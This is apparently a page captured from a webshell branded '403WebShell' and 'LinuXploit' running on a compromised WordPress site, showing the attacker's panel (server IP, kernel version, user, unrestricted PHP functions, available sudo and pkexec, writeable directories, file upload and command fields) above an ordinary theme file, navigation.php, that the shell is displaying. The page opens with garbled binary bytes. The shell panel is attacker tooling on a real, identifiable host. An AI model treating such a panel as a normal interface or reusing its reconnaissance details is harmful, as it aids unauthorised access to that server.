h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/parvati/inc/structure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/parvati/inc/structure/navigation.php
<?php
/**
 * Navigation elements.
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! function_exists( 'parvati_navigation_position' ) ) {
	/**
	 * Build the navigation.
	 *
	 */
	function parvati_navigation_position() {
		?>
		<nav itemtype="https://schema.org/SiteNavigationElement" itemscope="itemscope" id="site-navigation" <?php parvati_navigation_class(); ?>>
			<div <?php parvati_inside_navigation_class(); ?>>
				<?php
				/**
				 * parvati_inside_navigation hook.
				 *
				 *
				 * @hooked parvati_navigation_search - 10
				 * @hooked parvati_mobile_menu_search_icon - 10
				 */
				do_action( 'parvati_inside_navigation' );
				?>
				<button class="menu-toggle" aria-controls="primary-menu" aria-expanded="false">
					<?php do_action( 'parvati_inside_mobile_menu' ); ?>
					<span class="mobile-menu"><?php echo apply_filters( 'parvati_mobile_menu_label', __( 'Menu', 'parvati' ) ); // WPCS: XSS ok. ?></span>
				</button>
				<?php
				wp_nav_menu(
					array(
						'theme_location' => 'primary',
						'container' => 'div',
						'container_class' => 'main-nav',
						'container_id' => 'primary-menu',
						'menu_class' => '',
						'fallback_cb' => 'parvati_menu_fallback',
						'items_wrap' => '<ul id="%1$s" class="%2$s ' . join( ' ', parvati_get_menu_class() ) . '">%3$s</ul>'
					)
				);
				?>
			</div><!-- .inside-navigation -->
		</nav><!-- #site-navigation -->
		<?php
	}
}

if ( ! function_exists( 'parvati_menu_fallback' ) ) {
	/**
	 * Menu fallback.
	 *
	 *
	 * @param  array $args
	 * @return string
	 */
	function parvati_menu_fallback( $args ) {
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);
		?>
		<div id="primary-menu" class="main-nav">
			<ul <?php parvati_menu_class(); ?>>
				<?php
				$args = array(
					'sort_column' => 'menu_order',
					'title_li' => '',
					'walker' => new Parvati_Page_Walker()
				);

				wp_list_pages( $args );

				if ( 'enable' == $parvati_settings['nav_search'] ) {
					echo '<li class="search-item" title="' . esc_attr_x( 'Search', 'submit button', 'parvati' ) . '"><a href="#"><span class="screen-reader-text">' . esc_html_x( 'Search', 'submit button', 'parvati' ) . '</span></a></li>';
				}
				?>
			</ul>
		</div><!-- .main-nav -->
		<?php
	}
}

/**
 * Generate the navigation based on settings
 *
 * It would be better to have all of these inside one action, but these
 * are kept this way to maintain backward compatibility for people
 * un-hooking and moving the navigation/changing the priority.
 *
 */

if ( ! function_exists( 'parvati_add_navigation_after_header' ) ) {
	add_action( 'parvati_after_header', 'parvati_add_navigation_after_header', 5 );
	function parvati_add_navigation_after_header() {
		if ( 'nav-below-header' == parvati_get_navigation_location() ) {
			parvati_navigation_position();
		}
	}
}

if ( ! function_exists( 'parvati_add_navigation_before_header' ) ) {
	add_action( 'parvati_before_header', 'parvati_add_navigation_before_header', 5 );
	function parvati_add_navigation_before_header() {
		if ( 'nav-above-header' == parvati_get_navigation_location() ) {
			parvati_navigation_position();
		}
	}
}

if ( ! function_exists( 'parvati_add_navigation_float_right' ) ) {
	add_action( 'parvati_after_header_content', 'parvati_add_navigation_float_right', 5 );
	function parvati_add_navigation_float_right() {
		if ( 'nav-float-right' == parvati_get_navigation_location() || 'nav-float-left' == parvati_get_navigation_location() ) {
			parvati_navigation_position();
		}
	}
}

if ( ! function_exists( 'parvati_add_navigation_before_right_sidebar' ) ) {
	add_action( 'parvati_before_right_sidebar_content', 'parvati_add_navigation_before_right_sidebar', 5 );
	function parvati_add_navigation_before_right_sidebar() {
		if ( 'nav-right-sidebar' == parvati_get_navigation_location() ) {
			echo '<div class="gen-sidebar-nav">';
				parvati_navigation_position();
			echo '</div>';
		}
	}
}

if ( ! function_exists( 'parvati_add_navigation_before_left_sidebar' ) ) {
	add_action( 'parvati_before_left_sidebar_content', 'parvati_add_navigation_before_left_sidebar', 5 );
	function parvati_add_navigation_before_left_sidebar() {
		if ( 'nav-left-sidebar' == parvati_get_navigation_location() ) {
			echo '<div class="gen-sidebar-nav">';
				parvati_navigation_position();
			echo '</div>';
		}
	}
}

if ( ! class_exists( 'Parvati_Page_Walker' ) && class_exists( 'Walker_Page' ) ) {
	/**
	 * Add current-menu-item to the current item if no theme location is set
	 * This means we don't have to duplicate CSS properties for current_page_item and current-menu-item
	 *
	 */
	class Parvati_Page_Walker extends Walker_Page {
		function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) {
			$css_class = array( 'page_item', 'page-item-' . $page->ID );
			$button = '';

			if ( isset( $args['pages_with_children'][ $page->ID ] ) ) {
				$css_class[] = 'menu-item-has-children';
				$button = '<span role="button" class="dropdown-menu-toggle" aria-expanded="false"></span>';
			}

			if ( ! empty( $current_page ) ) {
				$_current_page = get_post( $current_page );
				if ( $_current_page && in_array( $page->ID, $_current_page->ancestors ) ) {
					$css_class[] = 'current-menu-ancestor';
				}
				if ( $page->ID == $current_page ) {
					$css_class[] = 'current-menu-item';
				} elseif ( $_current_page && $page->ID == $_current_page->post_parent ) {
					$css_class[] = 'current-menu-parent';
				}
			} elseif ( $page->ID == get_option('page_for_posts') ) {
				$css_class[] = 'current-menu-parent';
			}

			$css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) );

			$args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before'];
			$args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after'];

			$output .= sprintf(
				'<li class="%s"><a href="%s">%s%s%s%s</a>',
				$css_classes,
				get_permalink( $page->ID ),
				$args['link_before'],
				apply_filters( 'the_title', $page->post_title, $page->ID ),
				$args['link_after'],
				$button
			);
		}
	}
}

if ( ! function_exists( 'parvati_dropdown_icon_to_menu_link' ) ) {
	add_filter( 'nav_menu_item_title', 'parvati_dropdown_icon_to_menu_link', 10, 4 );
	/**
	 * Add dropdown icon if menu item has children.
	 *
	 *
	 * @param string $title The menu item title.
	 * @param WP_Post $item All of our menu item data.
	 * @param stdClass $args All of our menu item args.
	 * @param int $dept Depth of menu item.
	 * @return string The menu item.
	 */
	function parvati_dropdown_icon_to_menu_link( $title, $item, $args, $depth ) {

		$role = 'presentation';
		$tabindex = '';

		if ( 'click-arrow' === parvati_get_setting( 'nav_dropdown_type' ) ) {
			$role = 'button';
			$tabindex = ' tabindex="0"';
		}

		// Loop through our menu items and add our dropdown icons.
		if ( 'main-nav' === $args->container_class ) {
			foreach ( $item->classes as $value ) {
				if ( 'menu-item-has-children' === $value  ) {
					$title = $title . '<span role="' . $role . '" class="dropdown-menu-toggle"' . $tabindex .'></span>';
				}
			}
		}

		// Return our title.
		return $title;
	}
}

if ( ! function_exists( 'parvati_navigation_search' ) ) {
	add_action( 'parvati_inside_navigation', 'parvati_navigation_search' );
	/**
	 * Add the search bar to the navigation.
	 *
	 */
	function parvati_navigation_search() {
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		if ( 'enable' !== $parvati_settings['nav_search'] ) {
			return;
		}

		echo get_search_form();
	}
}

if ( ! function_exists( 'parvati_menu_search_icon' ) ) {
	add_filter( 'wp_nav_menu_items', 'parvati_menu_search_icon', 10, 2 );
	/**
	 * Add search icon to primary menu if set
	 *
	 *
	 * @param string $nav The HTML list content for the menu items.
	 * @param stdClass $args An object containing wp_nav_menu() arguments.
	 * @return string The search icon menu item.
	 */
	function parvati_menu_search_icon( $nav, $args ) {
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		// If the search icon isn't enabled, return the regular nav.
		if ( 'enable' !== $parvati_settings['nav_search'] ) {
			return $nav;
		}

		// If our primary menu is set, add the search icon.
		if ( $args->theme_location == 'primary' ) {
			return $nav . '<li class="search-item" title="' . esc_attr_x( 'Search', 'submit button', 'parvati' ) . '"><a href="#"><span class="screen-reader-text">' . _x( 'Search', 'submit button', 'parvati' ) . '</span></a></li>';
		}

		// Our primary menu isn't set, return the regular nav.
		// In this case, the search icon is added to the parvati_menu_fallback() function in navigation.php.
	    return $nav;
	}
}

if ( ! function_exists( 'parvati_mobile_menu_search_icon' ) ) {
	add_action( 'parvati_inside_navigation', 'parvati_mobile_menu_search_icon' );
	/**
	 * Add search icon to mobile menu bar
	 *
	 */
	function parvati_mobile_menu_search_icon() {
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		// If the search icon isn't enabled, return the regular nav.
		if ( 'enable' !== $parvati_settings['nav_search'] ) {
			return;
		}

		?>
		<div class="mobile-bar-items">
			<?php do_action( 'parvati_inside_mobile_menu_bar' ); ?>
			<span class="search-item" title="<?php echo esc_attr_x( 'Search', 'submit button', 'parvati' ); ?>">
				<a href="#">
					<span class="screen-reader-text"><?php echo esc_attr_x( 'Search', 'submit button', 'parvati' ); ?></span>
				</a>
			</span>
		</div><!-- .mobile-bar-items -->
		<?php
	}
}

add_action( 'wp_footer', 'parvati_clone_sidebar_navigation' );
/**
 * Clone our sidebar navigation and place it below the header.
 * This places our mobile menu in a more user-friendly location.
 *
 * We're not using wp_add_inline_script() as this needs to happens
 * before menu.js is enqueued.
 *
 */
function parvati_clone_sidebar_navigation() {
	if ( 'nav-left-sidebar' !== parvati_get_navigation_location() && 'nav-right-sidebar' !== parvati_get_navigation_location() ) {
		return;
	}
	?>
	<script>
		var target, nav, clone;
		nav = document.getElementById( 'site-navigation' );
		if ( nav ) {
			clone = nav.cloneNode( true );
			clone.className += ' sidebar-nav-mobile';
			clone.setAttribute( 'aria-label', '<?php esc_attr_e( 'Mobile Menu', 'parvati' ); ?>' );
			target = document.getElementById( 'masthead' );
			if ( target ) {
				target.insertAdjacentHTML( 'afterend', clone.outerHTML );
			} else {
				document.body.insertAdjacentHTML( 'afterbegin', clone.outerHTML )
			}
		}
	</script>
	<?php
}

Youez - 2016 - github.com/yon3zu
LinuXploit